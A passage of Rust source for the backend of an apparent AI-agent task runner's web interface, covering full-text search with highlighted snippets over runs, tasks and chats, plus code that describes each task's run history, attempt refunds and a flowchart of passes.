5422    let needles: Vec<Vec<char>> = terms
5423        .iter()
5424        .map(|t| t.chars().map(fold_char).collect())
5425        .collect();
5426    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5427        let mut best: Option<(usize, usize)> = None;
5428        for n in needles.iter().filter(|n| !n.is_empty()) {
5429            // `to` bounds where a match may start; it may run past `to` (the
5430            // caller clips what it shows). A term longer than the field cannot
5431            // occur in it (it may live in another leaf of the document).
5432            if n.len() > chars.len() || to == 0 {
5433                continue;
5434            }
5435            let last = (to - 1).min(chars.len() - n.len());
5436            if from > last {
5437                continue;
5438            }
5439            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5440                && best.is_none_or(|(b, _)| i < b)
5441            {
5442                best = Some((i, i + n.len()));
5443            }
5444        }
5445        best
5446    };
5447    let Some((start, _)) = find(0, chars.len()) else {
5448        // Matched only through a case mapping that changes length: show the head.
5449        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5450        return vec![SnippetPart {
5451            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5452            hit: false,
5453        }];
5454    };
5455    let lo = start.saturating_sub(SNIPPET_BEFORE);
5456    let hi = (start + SNIPPET_AFTER).min(chars.len());
5457    let mut parts: Vec<SnippetPart> = Vec::new();
5458    let mut push = |s: &[char], hit: bool| {
5459        if s.is_empty() {
5460            return;
5461        }
5462        let text: String = s.iter().collect();
5463        match parts.last_mut() {
5464            Some(p) if p.hit == hit => p.text.push_str(&text),
5465            _ => parts.push(SnippetPart { text, hit }),
5466        }
5467    };
5468    if lo > 0 {
5469        push(&['\u{2026}'], false);
5470    }
5471    let mut at = lo;
5472    while at < hi {
5473        match find(at, hi) {
5474            Some((s, e)) => {
5475                push(&chars[at..s], false);
5476                // A match running past the window is shown up to its edge.
5477                let shown = e.min(hi);
5478                push(&chars[s..shown], true);
5479                at = shown;
5480            }
5481            None => {
5482                push(&chars[at..hi], false);
5483                at = hi;
5484            }
5485        }
5486    }
5487    if hi < chars.len() {
5488        push(&['\u{2026}'], false);
5489    }
5490    // Collapse whitespace (newlines in an instruction) without disturbing the
5491    // hit boundaries.
5492    let mut prev_space = false;
5493    for p in &mut parts {
5494        let mut out = String::with_capacity(p.text.len());
5495        for c in p.text.chars() {
5496            if c.is_whitespace() {
5497                if !prev_space {
5498                    out.push(' ');
5499                }
5500                prev_space = true;
5501            } else {
5502                out.push(c);
5503                prev_space = false;
5504            }
5505        }
5506        p.text = out;
5507    }
5508    parts.retain(|p| !p.text.is_empty());
5509    parts
5510}
5511
5512/// The search over `docs` (id, document), newest first, capped.
5513fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5514where
5515    I: IntoIterator<Item = (String, serde_json::Value)>,
5516{
5517    for (id, doc) in docs {
5518        let mut leaves = Vec::new();
5519        // The id is text an operator types too, and it is a map key on disk,
5520        // not a leaf.
5521        leaves.push(("id", id.as_str()));
5522        text_leaves(&doc, "", &mut leaves);
5523        if let Some(mut hit) = search_document(terms, &leaves) {
5524            view.total += 1;
5525            if view.hits.len() < SEARCH_MAX_HITS {
5526                hit.id = id;
5527                view.hits.push(hit);
5528            }
5529        }
5530    }
5531    view.truncated = view.total > view.hits.len();
5532}
5533
5534/// What a conversation is searched by: its list title and each turn's text,
5535/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5536/// (session ids, repo paths, usage, drafts) is part of the document.
5537///
5538/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5539fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5540    let opener = talk
5541        .title
5542        .as_ref()
5543        .filter(|t| !t.text.is_empty())
5544        .map(|t| t.text.as_str())
5545        .or_else(|| {
5546            talk.turns
5547                .iter()
5548                .find(|t| t.who == talk::Who::Operator)
5549                .map(|t| t.body.as_str())
5550        })
5551        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5552        .unwrap_or("");
5553    let title: String = if opener.chars().count() > 96 {
5554        opener.chars().take(95).chain(['\u{2026}']).collect()
5555    } else {
5556        opener.to_owned()
5557    };
5558    let turns: Vec<serde_json::Value> = talk
5559        .turns
5560        .iter()
5561        .map(|t| {
5562            let who = match t.who {
5563                crate::talk::Who::Operator => "operator",
5564                crate::talk::Who::Agent => "agent",
5565            };
5566            serde_json::json!({ who: t.body })
5567        })
5568        .collect();
5569    serde_json::json!({ "title": title, "turns": turns })
5570}
5571
5572/// Read-only full-text search over every run's `run.json`, every task or every
5573/// conversation (title and transcript).
5574///
5575/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5576/// record from an older schema still searches; only a file that is not JSON
5577/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5578async fn search_get(
5579    State(ui): State<Arc<Ui>>,
5580    Query(q): Query<SearchQuery>,
5581) -> ApiResult<Json<SearchView>> {
5582    let query = q.q.trim().to_owned();
5583    if query.is_empty() {
5584        return Err(ApiError::bad_request("q must not be empty"));
5585    }
5586    if query.chars().count() > SEARCH_MAX_QUERY {
5587        return Err(ApiError::bad_request(format!(
5588            "q is longer than {SEARCH_MAX_QUERY} characters"
5589        )));
5590    }
5591    let terms = search_terms(&query);
5592    if terms.len() > SEARCH_MAX_TERMS {
5593        return Err(ApiError::bad_request(format!(
5594            "q has more than {SEARCH_MAX_TERMS} terms"
5595        )));
5596    }
5597    let scope = q.scope;
5598    if scope != "runs" && scope != "tasks" && scope != "chats" {
5599        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5600    }
5601    blocking(move || {
5602        let mut view = SearchView {
5603            scope: scope.clone(),
5604            q: query,
5605            hits: Vec::new(),
5606            total: 0,
5607            truncated: false,
5608            unreadable: 0,
5609        };
5610        if scope == "runs" {
5611            let mut unreadable = 0;
5612            // One run.json is read, matched and dropped at a time; nothing
5613            // holds the whole history. The scan runs to the end even past the
5614            // hit cap so `total` and `unreadable` stay exact.
5615            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5616                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5617                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5618                    Some(v) => Some((id, v)),
5619                    None => {
5620                        unreadable += 1;
5621                        None
5622                    }
5623                }
5624            });
5625            search_docs(&terms, docs, &mut view);
5626            view.unreadable = unreadable;
5627            // Only the capped hits get a row: the filters need a run's state,
5628            // and reading every match would be the whole history again.
5629            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5630            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5631            for hit in &mut view.hits {
5632                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5633                    hit.run = summarize(
5634                        [state],
5635                        &open_runs,
5636                        &claimed,
5637                        &superseded,
5638                        |p| probe.borrow_mut().status(p),
5639                        |p| probe.borrow_mut().started_at(p),
5640                    )
5641                    .pop();
5642                }
5643            }
5644        } else if scope == "chats" {
5645            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5646            view.unreadable = unreadable;
5647            search_docs(
5648                &terms,
5649                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5650                &mut view,
5651            );
5652        } else {
5653            let docs = ui.queue.list().into_iter().filter_map(|t| {
5654                let mut v = serde_json::to_value(&t).ok()?;
5655                // `source` serialises as a tagged object; the label is what
5656                // the operator reads ("human", "chat@a1b2").
5657                if let Some(o) = v.as_object_mut() {
5658                    o.insert("filed_by".to_owned(), t.source.label().into());
5659                }
5660                Some((t.id, v))
5661            });
5662            search_docs(&terms, docs, &mut view);
5663        }
5664        Ok(Json(view))
5665    })
5666    .await
5667}
5668
5669/// One attempt in a task's history, as the task page lists it.
5670#[derive(Debug, Serialize)]
5671struct TaskRunView {
5672    /// 1-based position in [`Task::runs`].
5673    n: usize,
5674    id: String,
5675    short: String,
5676    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5677    kind: &'static str,
5678    /// The run's own status string; `None` when its record cannot be read.
5679    status: Option<&'static str>,
5680    /// Whether this build could read the run's record. Counted, never hidden.
5681    readable: bool,
5682    /// A verdict from a collapsed panel is provisional, never a decision.
5683    provisional: bool,
5684    /// What kind of attempt this was, in one line.
5685    description: String,
5686    /// How it ended and why the task moved on (or what it is doing now).
5687    outcome: String,
5688    created_at: Option<Timestamp>,
5689    pr: Option<String>,
5690    /// Why this pass ended, classified once; the flowchart is built from it.
5691    exit: RunExit,
5692    /// What the pass did to the task's attempt budget.
5693    attempt: AttemptCost,
5694    /// Edge wording for leaving this entry; names the recorded cause when
5695    /// there is one.
5696    exit_label: String,
5697    /// The position of a later entry for the same run: this entry is an
5698    /// earlier pass of it.
5699    later_pass: Option<usize>,
5700    /// Which pass over the run this entry is (1-based) and how many entries
5701    /// the task lists for the run. Counted from the list, so known even for
5702    /// a legacy record.
5703    pass_n: usize,
5704    passes_of_run: usize,
5705    /// What the run recorded about this pass; `None` for a record from before
5706    /// passes were kept, whose cause stays unknown.
5707    pass: Option<PassView>,
5708    /// The branch a review-only run reopened.
5709    branch: Option<String>,
5710    /// The badge word when it differs from `status` (`stale` / `superseded`);
5711    /// filled by the task route, which can see liveness and later attempts.
5712    badge: Option<String>,
5713}
5714
5715/// One recorded pass over a run, for the wire.
5716#[derive(Debug, Clone, PartialEq, Serialize)]
5717struct PassView {
5718    index: usize,
5719    resumed: bool,
5720    started_at: Timestamp,
5721    ended_at: Option<Timestamp>,
5722    /// `open`, `parked` or `unrecorded`.
5723    end: &'static str,
5724    cause: Option<crate::run::ParkCause>,
5725    /// One line: why it stopped, or that nobody recorded why.
5726    label: String,
5727    /// What the task recorded for this pass; `None` when it was not settled
5728    /// (or settled by a build that kept no record).
5729    cost: Option<crate::queue::PassCost>,
5730}
5731
5732impl PassView {
5733    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5734        use crate::run::PassEnd;
5735        let (end, cause, label) = match &p.end {
5736            None => ("open", None, "still open".to_owned()),
5737            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5738            Some(PassEnd::Unrecorded) => (
5739                "unrecorded",
5740                None,
5741                "stopped without recording why (a crash, a kill or a restart; not known)"
5742                    .to_owned(),
5743            ),
5744        };
5745        Self {
5746            index: p.index,
5747            resumed: p.resumed,
5748            started_at: p.started_at,
5749            ended_at: p.ended_at,
5750            end,
5751            cause,
5752            label,
5753            cost: settled.map(|t| t.cost),
5754        }
5755    }
5756}
5757
5758/// How one pass over a run ended, as far as the task's life is concerned.
5759#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5760#[serde(rename_all = "snake_case")]
5761enum RunExit {
5762    Unreadable,
5763    /// An earlier pass of a run id that appears again: it stopped short.
5764    Interrupted,
5765    Parked,
5766    QuotaStall,
5767    /// Stalled on a resumed pass with quota losses on record: they may be
5768    /// left over from an earlier pass, so whether this one was refunded is
5769    /// not knowable.
5770    ResumedQuotaStall,
5771    Merged,
5772    Ready,
5773    Superseded,
5774    /// The change was already on the base under other commits: the task
5775    /// finished without this run landing anything.
5776    AlreadyInBase,
5777    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5778    Stalled,
5779    /// Blocked / no-op with a pull request left open: held for a person.
5780    HeldWithPr,
5781    NoopHeld,
5782    /// Blocked or failed: the attempt is spent and the task retries or holds.
5783    Spent,
5784    InProgress,
5785}
5786
5787#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5788#[serde(rename_all = "snake_case")]
5789enum AttemptCost {
5790    Spent,
5791    Refunded,
5792    None,
5793    /// Cannot be told from the records that remain.
5794    Unknown,
5795}
5796
5797impl RunExit {
5798    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5799        let Some(s) = s else {
5800            return Self::Unreadable;
5801        };
5802        let status = s.status;
5803        if resumed_later {
5804            Self::Interrupted
5805        } else if s.parked {
5806            Self::Parked
5807        } else if !status.done() {
5808            Self::InProgress
5809        } else if matches!(status, RunStatus::Merged) {
5810            Self::Merged
5811        } else if matches!(status, RunStatus::Ready) {
5812            Self::Ready
5813        } else if matches!(status, RunStatus::Superseded) {
5814            Self::Superseded
5815        } else if matches!(status, RunStatus::AlreadyInBase) {
5816            Self::AlreadyInBase
5817        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5818            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5819        {
5820            if resumed {
5821                Self::ResumedQuotaStall
5822            } else {
5823                Self::QuotaStall
5824            }
5825        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5826            Self::HeldWithPr
5827        } else if matches!(status, RunStatus::VerifiedNoop) {
5828            Self::NoopHeld
5829        } else if matches!(status, RunStatus::Stalled) {
5830            Self::Stalled
5831        } else {
5832            Self::Spent
5833        }
5834    }
5835
5836    fn cost(self) -> AttemptCost {
5837        match self {
5838            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5839            Self::Merged
5840            | Self::Ready
5841            | Self::Stalled
5842            | Self::HeldWithPr
5843            | Self::NoopHeld
5844            | Self::Spent => AttemptCost::Spent,
5845            Self::InProgress => AttemptCost::None,
5846            Self::AlreadyInBase => AttemptCost::Refunded,
5847            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5848                AttemptCost::Unknown
5849            }
5850        }
5851    }
5852
5853    /// Short edge wording for leaving a run this way.
5854    fn edge_label(self, status: Option<&str>) -> String {
5855        match self {
5856            Self::Unreadable => "record unreadable".to_owned(),
5857            Self::Interrupted => "interrupted before the run finished".to_owned(),
5858            Self::Parked => "parked, attempt refunded".to_owned(),
5859            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5860            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5861            Self::Merged => "merged".to_owned(),
5862            Self::Ready => "ready, not merged".to_owned(),
5863            Self::Superseded => "superseded by a later attempt".to_owned(),
5864            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5865            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5866            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5867            Self::NoopHeld => "verified no-op".to_owned(),
5868            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5869            Self::InProgress => "in progress".to_owned(),
5870        }
5871    }
5872
5873    /// Does a task in `end` follow from a run that ended this way? When not,
5874    /// somebody closed or held the task by hand.
5875    fn explains(self, end: TaskStatus) -> bool {
5876        match self {
5877            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5878            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5879            Self::Unreadable | Self::Superseded | Self::Ready => true,
5880            _ => end != TaskStatus::Done,
5881        }
5882    }
5883}
5884
5885/// `GET /api/queue/{id}` - one task with every attempt it went through.
5886#[derive(Debug, Serialize)]
5887struct TaskDetailView {
5888    #[serde(flatten)]
5889    task: TaskView,
5890    /// Task override, or the default daemon budget when inherited.
5891    /// A separate loop's command-line limit is not visible from here.
5892    max_attempts: usize,
5893    history: Vec<TaskRunView>,
5894    /// Entries in `history`: passes over runs, not distinct runs and not
5895    /// attempts consumed (`task.attempts`).
5896    passes_total: usize,
5897    /// Distinct runs those passes belong to.
5898    runs_distinct: usize,
5899    flow: FlowView,
5900    /// Set for a follow-up task; see [`followup_origin`].
5901    followup_origin: Option<FollowUpOrigin>,
5902    /// How many entries of `history` could not be read.
5903    runs_unreadable: usize,
5904    /// Why the attempt count can be lower than the number of runs.
5905    attempts_note: &'static str,
5906}
5907
5908const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5909and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5910on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5911the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5912
5913/// The branch a review-only run reopened, read off the instruction
5914/// `Runner::open_review` writes.
5915fn review_branch_of(instruction: &str) -> Option<&str> {
5916    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5917    rest.split('`').next().filter(|b| !b.is_empty())
5918}
5919
5920/// Where an entry sits in a task's run list.
5921#[derive(Default)]
5922struct RunSlot<'a> {
5923    /// 1-based position.
5924    n: usize,
5925    /// The same run id appeared earlier: this pass resumed it.
5926    resumed: bool,
5927    /// Position of a later pass over the same run id, if any.
5928    resumed_later: Option<usize>,
5929    /// The previous distinct run and how it ended, for the retry note.
5930    prior: Option<(&'a str, RunStatus)>,
5931    last: bool,
5932    /// This pass as the run recorded it, when it did.
5933    pass: Option<&'a crate::run::RunPass>,
5934    /// What the task recorded when it settled this pass.
5935    settled: Option<&'a crate::queue::TaskPass>,
5936    /// 1-based position among the task's entries for this run, and their count.
5937    pass_n: usize,
5938    passes_of_run: usize,
5939}
5940
5941/// Describe one entry of a task's run list. Pure: everything it needs is on
5942/// the run and the task, so it is asserted without a server.
5943fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5944    let RunSlot {
5945        n,
5946        resumed,
5947        resumed_later,
5948        prior,
5949        last,
5950        pass,
5951        settled,
5952        pass_n,
5953        passes_of_run,
5954    } = at;
5955    let short = run::short_of(id).to_owned();
5956    let Some(s) = state else {
5957        return TaskRunView {
5958            n,
5959            id: id.to_owned(),
5960            short,
5961            kind: "unknown",
5962            status: None,
5963            readable: false,
5964            provisional: false,
5965            description:
5966                "This run's record could not be read by this build (written by a different \
5967                          magi, or removed), so what kind of attempt it was is unknown."
5968                    .to_owned(),
5969            outcome: String::new(),
5970            created_at: None,
5971            pr: None,
5972            exit: RunExit::Unreadable,
5973            attempt: AttemptCost::Unknown,
5974            exit_label: RunExit::Unreadable.edge_label(None),
5975            later_pass: resumed_later,
5976            pass_n,
5977            passes_of_run,
5978            pass: None,
5979            branch: None,
5980            badge: None,
5981        };
5982    };
5983    let branch = review_branch_of(&s.instruction);
5984    let kind = if resumed {
5985        "resume"
5986    } else if branch.is_some() {
5987        "review"
5988    } else if task.solo || s.candidates.len() == 1 {
5989        "solo"
5990    } else {
5991        "competition"
5992    };
5993    let mut description = match kind {
5994        "resume" => {
5995            format!("Resumed run {short}: the same run carried on instead of competing again.")
5996        }
5997        "review" => format!(
5998            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5999            branch.unwrap_or_default()
6000        ),
6001        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6002        _ => format!(
6003            "Competition: {} candidates judged blind.",
6004            s.candidates.len().max(1)
6005        ),
6006    };
6007    if !resumed && let Some((p, st)) = prior {
6008        description.push_str(&format!(
6009            " A retry: run {p} before it ended {}.",
6010            st.display_label()
6011        ));
6012    }
6013
6014    let status = s.status;
6015    let provisional = matches!(status, RunStatus::Stalled)
6016        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6017    let head = if resumed_later.is_some() {
6018        String::new()
6019    } else {
6020        match status {
6021            RunStatus::Merged => "Merged.".to_owned(),
6022            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6023            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6024            RunStatus::AlreadyInBase => {
6025                "Already in the base: this change landed under other commits, nothing was left to land."
6026                    .to_owned()
6027            }
6028            RunStatus::Stalled => {
6029                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6030                    .to_owned()
6031            }
6032            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6033            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6034            RunStatus::VerifiedNoop => {
6035                "Verified no-op: the candidates found nothing to change.".to_owned()
6036            }
6037            other if other.done() => format!("Ended {}.", other.display_label()),
6038            other => format!("In progress ({}).", other.display_label()),
6039        }
6040    };
6041    let view = pass.map(|p| PassView::of(p, settled));
6042    let recorded_end = view
6043        .as_ref()
6044        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6045    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6046        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6047        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6048        None => "whether its attempt was handed back was not recorded",
6049    };
6050    let pass_note = if passes_of_run > 1 {
6051        format!(
6052            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6053        )
6054    } else {
6055        String::new()
6056    };
6057    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6058        // The run recorded this pass's end when it happened.
6059        let cause = match v.end {
6060            "parked" => format!("It was stopped on purpose: {}.", v.label),
6061            _ => format!("It {}.", v.label),
6062        };
6063        format!(
6064            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6065            capitalise(cost_words)
6066        )
6067    } else if let Some(k) = resumed_later {
6068        // A run is only picked up again while it is unfinished, so an earlier
6069        // pass of a repeated id stopped short; the record keeps only the run's
6070        // latest status, which is left to the pass that carried it on.
6071        // Only the latest state is recorded: `parked` is cleared on resume
6072        // and `quota` accumulates across passes, so neither says why *this*
6073        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6074        let cause = if s.quota.is_empty() {
6075            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6076        } else {
6077            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6078        };
6079        format!(
6080            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6081        )
6082    } else if s.parked {
6083        match recorded_end.and_then(|v| v.cause.as_ref()) {
6084            Some(cause) => format!(
6085                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6086                cause.label(),
6087                cost_words
6088            ),
6089            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6090                .to_owned(),
6091        }
6092    } else if !status.done()
6093        || matches!(
6094            status,
6095            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6096        )
6097    {
6098        String::new()
6099    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6100        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6101    {
6102        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6103            .to_owned()
6104    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6105        " It left a pull request open, so the task was held for a person rather than retried."
6106            .to_owned()
6107    } else if matches!(status, RunStatus::VerifiedNoop) {
6108        " Held for a person to check the claim.".to_owned()
6109    } else if last {
6110        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6111    } else {
6112        " It spent an attempt, and the task moved on to the next run.".to_owned()
6113    };
6114    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6115    let mut attempt = exit.cost();
6116    let mut exit_label = None;
6117    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6118        let spent = match v.cost {
6119            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6120            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6121            None if resumed_later.is_some() => ", refund not recorded",
6122            None => ", attempt refunded",
6123        };
6124        attempt = match v.cost {
6125            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6126            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6127            None if resumed_later.is_some() => AttemptCost::Unknown,
6128            None => attempt,
6129        };
6130        if v.end == "parked" {
6131            exit = RunExit::Parked;
6132            exit_label = Some(match v.cause.as_ref() {
6133                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6134                    format!("parked for {}{spent}", c.label())
6135                }
6136                Some(c) => format!("parked ({}){spent}", c.label()),
6137                None => format!("parked{spent}"),
6138            });
6139        } else {
6140            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6141        }
6142    }
6143    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6144    TaskRunView {
6145        n,
6146        id: id.to_owned(),
6147        short,
6148        kind,
6149        status: Some(status.as_str()),
6150        readable: true,
6151        provisional,
6152        description,
6153        outcome: format!("{head}{why}"),
6154        created_at: Some(s.created_at),
6155        pr: s.pr.as_ref().map(|p| p.url.clone()),
6156        exit,
6157        attempt,
6158        exit_label,
6159        later_pass: resumed_later,
6160        pass_n,
6161        passes_of_run,
6162        pass: view,
6163        branch: branch.map(str::to_owned),
6164        badge: None,
6165    }
6166}
6167
6168fn capitalise(s: &str) -> String {
6169    let mut c = s.chars();
6170    c.next().map_or_else(String::new, |f| {
6171        f.to_uppercase().collect::<String>() + c.as_str()
6172    })
6173}
6174
6175/// One box of the task's flowchart.
6176#[derive(Debug, Serialize, PartialEq)]
6177struct FlowNode {
6178    /// Unique by position: a resumed run id appears once per pass.
6179    key: String,
6180    /// `chat`, `followup`, `start`, `run` or `end`.
6181    kind: &'static str,
6182    label: String,
6183    /// Run status (or the task's, for `end`); `None` when it is not a fact
6184    /// about this box (unreadable, or a pass the run later resumed from).
6185    status: Option<&'static str>,
6186    /// Whose status `status` is, so the client picks the right colour table:
6187    /// `task` (the `followup` parent and `end`) or `run`.
6188    status_of: &'static str,
6189    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6190    note: Option<&'static str>,
6191    run_kind: Option<&'static str>,
6192    detail: Option<String>,
6193    /// A readable run with a real verdict; a stall never is.
6194    decided: bool,
6195    readable: bool,
6196    href: Option<String>,
6197    /// Overrides `status` as the badge word (`stale` / `superseded`).
6198    badge: Option<String>,
6199    /// Start of this entry, never the run's latest update or pass settlement.
6200    started_at: Option<Timestamp>,
6201    /// Context links (chat / follow-up) do not represent execution entries.
6202    time_expected: bool,
6203}
6204
6205#[derive(Debug, Serialize, PartialEq)]
6206struct FlowEdge {
6207    from: String,
6208    to: String,
6209    label: String,
6210    attempt: AttemptCost,
6211}
6212
6213#[derive(Debug, Serialize, PartialEq)]
6214struct FlowView {
6215    nodes: Vec<FlowNode>,
6216    edges: Vec<FlowEdge>,
6217    /// Attempts the task has counted since it was last released.
6218    attempts: usize,
6219    max_attempts: usize,
6220    /// Entries in the run list (passes), and how many distinct runs they are.
6221    /// Neither is the number of attempts consumed.
6222    passes: usize,
6223    runs: usize,
6224}
6225
6226/// Turn a task and its described runs into the flowchart's boxes and arrows.
6227/// Pure: the page only draws what this returns.
6228///
6229/// A follow-up opens with its parent (or the merged run) unless the task's
6230/// *source* is itself a chat, in which case the chat stays first and the
6231/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6232/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6233/// two normally do not coincide and the nearer origin wins.
6234fn task_flow(
6235    task: &Task,
6236    history: &[TaskRunView],
6237    max_attempts: usize,
6238    origin: Option<&FollowUpOrigin>,
6239) -> FlowView {
6240    let max_attempts = task.effective_attempt_limit(max_attempts);
6241    let node = |key: &str, kind, label: String| FlowNode {
6242        key: key.to_owned(),
6243        kind,
6244        label,
6245        status: None,
6246        status_of: "run",
6247        note: None,
6248        run_kind: None,
6249        detail: None,
6250        decided: false,
6251        readable: true,
6252        href: None,
6253        badge: None,
6254        started_at: None,
6255        time_expected: matches!(kind, "start" | "run" | "end"),
6256    };
6257    let mut nodes = Vec::new();
6258    let mut edges: Vec<FlowEdge> = Vec::new();
6259    // A task queued from a chat opens the flow with that conversation.
6260    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6261        let mut n = node(
6262            "chat",
6263            "chat",
6264            format!("Chat {}", crate::queue::short(&link.id)),
6265        );
6266        n.href = Some(link.href);
6267        nodes.push(n);
6268        edges.push(FlowEdge {
6269            from: "chat".to_owned(),
6270            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6271            label: "queued from chat".to_owned(),
6272            attempt: AttemptCost::None,
6273        });
6274    }
6275    if let Some(o) = origin {
6276        let mut n = match &o.parent {
6277            Some(p) => {
6278                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6279                n.status = Some(p.status);
6280                n.status_of = "task";
6281                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6282                n.href = Some(p.href.clone());
6283                n
6284            }
6285            None => {
6286                let mut n = node(
6287                    "origin",
6288                    "followup",
6289                    format!("Follow-up of run {}", o.run.short),
6290                );
6291                n.detail = Some("merged run".to_owned());
6292                n.status = o.run.status;
6293                n.href = o.run.href.clone();
6294                if o.run.href.is_none() {
6295                    n.readable = false;
6296                    n.note = Some("unreadable");
6297                }
6298                n
6299            }
6300        };
6301        n.decided = true;
6302        let from = n.key.clone();
6303        nodes.push(n);
6304        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6305        let more = o.findings.len().saturating_sub(shown.len());
6306        let label = match (shown.is_empty(), more) {
6307            (true, _) => "open findings".to_owned(),
6308            (false, 0) => format!("open findings {}", shown.join(", ")),
6309            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6310        };
6311        edges.push(FlowEdge {
6312            from,
6313            to: "start".to_owned(),
6314            label,
6315            attempt: AttemptCost::None,
6316        });
6317    }
6318    let mut start = node("start", "start", "Task queued".to_owned());
6319    start.started_at = Some(task.created_at);
6320    nodes.push(start);
6321    let mut prev = "start".to_owned();
6322    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6323    for (i, h) in history.iter().enumerate() {
6324        let key = format!("run-{}", h.n);
6325        let mut n = node(&key, "run", format!("Run {}", h.short));
6326        // Creation marks only the first pass of legacy runs. A resumed pass
6327        // without a record must not inherit the original run's start time.
6328        n.started_at = h
6329            .readable
6330            .then(|| {
6331                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6332                    h.created_at
6333                } else {
6334                    None
6335                })
6336            })
6337            .flatten();
6338        n.run_kind = Some(h.kind);
6339        n.readable = h.readable;
6340        n.href = Some(format!("#/runs/{}", h.id));
